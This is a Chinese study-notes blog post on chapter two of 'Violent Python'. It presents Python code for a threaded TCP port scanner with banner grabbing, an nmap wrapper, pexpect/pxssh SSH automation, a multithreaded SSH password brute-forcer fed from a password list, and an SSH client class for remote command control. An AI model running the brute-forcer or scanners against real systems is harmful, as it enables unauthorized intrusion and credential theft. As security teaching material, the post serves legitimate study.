1. 程式人生 > 其它 >《Python絕技》程式設計實戰二

《Python絕技》程式設計實戰二

scanPort

  • 實現自動化掃描並測試目標主機的開放埠以及埠應用
  • 細節類似上一章中的getBanner

開原始碼

0x03 scanPort

portScanner

  • 簡單地實現掃描目標主機多個埠的效果。

main

parser = optparse.OptionParser('usage:%prog -H <targer Host> -P <port>')
parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
parser.add_option('-P', dest='tgtPorts', type='string', help='specify target ports')
(options, args) = parser.parse_args()
if (options.tgtHost == None) or (options.tgtPorts == None):
    print(parser.usage)
    exit(0)
tgtHost = options.tgtHost
tgtPorts = options.tgtPorts.split(',')
portScan(tgtHost, tgtPorts)
  • main()完成對目標主機的繫結。

portScan

try:
    tgtIP = gethostbyname(tgtHost)
except:
    print('[-] Cannot resolve \'%s\' : Unknown host' %tgtHost)
    return
try:
    tgtName = gethostbyaddr(tgtIP)
    print('\n[+] Scan results for : ' + tgtName[0])
except:
    print('\n[+] Scan results for : ' + tgtIP)
setdefaulttimeout(1)
for tgtPort in tgtPorts:
    thrd = Thread(target=connScan, args=(tgtHost, int(tgtPort)))
    thrd.start()
  • 若輸入的目標主機為域名,則對其進行域名解析,得到目的主機IP地址。明確目標主機後,對指定的埠組分配執行緒進行處理。

  • gethostbyaddr()C語言的一個方法名,意思是返回對應於給定地址的主機資訊。

  • gethostbyname()返回對應於給定主機名的包含主機名字和地址資訊的hostent結構的指標。結構的宣告與gethostbyaddr()中一致。

connScan

try:
    connsock = socket(AF_INET, SOCK_STREAM)
    connsock.connect((tgtHost, tgtPort))
    connsock.send('Port Opening Test\r\n'.encode())
    res = connsock.recv(1024)
    screenLock.acquire()
    print('[+] %d/tcp opened'%tgtPort)
    showBanner(res)
except:
    screenLock.acquire()
    print('[-] %d/tcp closed'%tgtPort)
finally:
    screenLock.release()
    connsock.close()
  • connScan()為執行緒呼叫的函式,負責一個埠的檢查。
  • screenLock.acquire()為互斥訊號量的加鎖步驟。screenLock.release()為互斥訊號量的釋放步驟。這兩個函式的目的是使得並行的執行緒對screenLock()進行互斥訪問,保證螢幕列印有序。

showBanner

encoding = chardet.detect(res)['encoding']
if encoding:
    print('[+] '+str(res, encoding=encoding))
else:
    print('[+] '+str(res, encoding='utf-8'))
return
  • 用於對返回的二進位制串進行處理且得到輸出。

  • ret = chardet.detect(變數)可以檢視原有變數的編碼型別。

nmapScanner

  • 藉助NmapPython庫對目標主機的埠組進行掃描,大體同portScanner

nmapScan

scanner = nmap.PortScanner()
scanner.scan(tgtHost, tgtPort)
state = scanner[tgtHost]['tcp'][int(tgtPort)]['state']
print('[*] '+tgtHost+' tcp/'+tgtPort+' '+state)
  • 呼叫nmap庫得到埠掃描的類,使用類中用於掃描的方法即可對目的主機的單一埠進行掃描。

sshCrack

  • 實現自動化連線ssh並且執行命令。

有點雞肋,因為沒有密碼也過不了,沒有攻擊性。

開原始碼

0x04 sshCrack

pexpect

  • 預測輸出結果,對不同結果採取不同的應對方式。

main

if len(sys.argv) == 5:
    host    =   sys.argv[1]
    user    =   sys.argv[2]
    passwd  =   sys.argv[3]
    command =   sys.argv[4]
    shell = connect(host, user, passwd)
    exec_command(shell, command)
else:
    print('Usage:%prog <target host> <user> <password> <command>')
  • 從命令列獲取引數,執行connect()之後得到shell,在shell中即可執行指定命令。

connect

conn = 'ssh '+user+'@'+host
result = pexpect.spawn(conn)
ssh_newkey = 'Are you sure you want to  continue connecting'
ssh_passwd = '[P|p]assword:'
ret = result.expect([ssh_passwd, ssh_newkey, pexpect.TIMEOUT])

if ret == 1:
    result.sendline('yes')
    ret = result.expect([ssh_passwd, pexpect.TIMEOUT, ssh_newkey])
if ret == 2:
    print('[-] Error Connecting')
    return

result.sendline(passwd)
print('send passwd')
result.expect(PROMPT)
  • 該函式用於ssh連線並返回一個連線好的shell或者報錯退出。
  • pexpect.spawn()派生一個程式,它返回這個程式的操作控制代碼,以後可以通過操作這個控制代碼來對這個程式進行操作。
  • spawn()啟動了一個程式並返回程式控制控制代碼後,就可以用expect()方法來等待指定的關鍵字了。
  • expect()使用正則表示式匹配,對於ssh登入後的自動輸出可能造成錯誤匹配。並且對所需匹配的字元要明確,不然無法構造PROMPT
  • send()用來向程式傳送指定的字串,此處使用sendline()可以自動在傳送的字串末尾加上回車

exec_command

shell.sendline(cmd)
shell.expect(PROMPT)
print(shell.before)
  • 該函式用於對指定命令的執行,列印輸出的結果。
  • before變數用於儲存上一次輸出的最後100個位元組(buffer大小),可能導致輸出列印不全。

pxssh

  • pxssh包含了pexpect並將裡面的函式封裝好了,可以直接用於和SSH互動。

開原始碼

main

parser = optparse.OptionParser('usage %prog '+\
    '-H <target host> -u <user> -F <password list>'
                            )
parser.add_option('-H', dest='tgtHost', type='string',\
    help='specify target host')
parser.add_option('-F', dest='passwdFile', type='string',\
    help='specify password file')
parser.add_option('-u', dest='user', type='string',\
    help='specify the user')

(options, args) = parser.parse_args()
host = options.tgtHost
passwdFile = options.passwdFile
user = options.user

if host == None or passwdFile == None or user == None:
    print(parser.usage)
    exit(0)
    
fn = open(passwdFile, 'r')
for line in fn.readlines():
    if Found:
        print ("[*] Exiting: Password Found")
        exit(0)
    if Fails > 5:
        print ("[!] Exiting: Too Many Socket Timeouts")
        exit(0)
    connection_lock.acquire()
    password = line.strip('\r').strip('\n')
    print ("[-] Testing: "+str(password))
    t = Thread(target=connect, args=(host, user, password, True))
    t.start()
  • 獲得指定引數的值,確定目的主機的IP和使用者以及破解用的本地密碼集。
  • 使用列舉密碼集的每一個密碼,使用執行緒的方式處理。並使用訊號量對同時訪問的執行緒個數進行限制。

connect

global Found
global Fails

try:
    s = pxssh.pxssh()
    s.login(host, user, password)
    print ('[+] Password Found: ' + password)
    Found = True
except Exception as e:
    if 'read_nonblocking' in str(e):
        Fails += 1
        time.sleep(5)
        connect(host, user, password, False)
    elif 'synchronize with original prompt' in str(e):
        time.sleep(1)
        connect(host, user, password, False)
finally:
    if release:
        connection_lock.release()
  • 嘗試指定密碼連線目的主機。
  • 若因連線過快失敗(read_nonblocking)五次直接報錯退出;若因命令提示符提取困難(synchronize with original prompt)則等待重連。
  • pxssh.pxssh()返回一個型別,使用該型別進行登入。
  • login()中封裝好了pexpect的方法,可以直接呼叫連線目的主機。

sshNet

  • 使用類的方式對pxssh實現控制終端的過程進行了封裝。

Client

class Client:

    def __init__(self, host, user, password):
        self.host = host
        self.user = user
        self.password = password
        self.session = self.connect()

    def connect(self):
        try:
            s = pxssh.pxssh()
            s.login(self.host, self.user, self.password)
            return s
        except Exception as e:
            print ('[-] Error Connecting')
            print (e)

    def send_command(self, cmd):
        self.session.sendline(cmd)
        self.session.prompt()
        return self.session.before

參考

gethostbyaddr

gethostbyname

bytes型別轉str

Pexpect 模組使用說明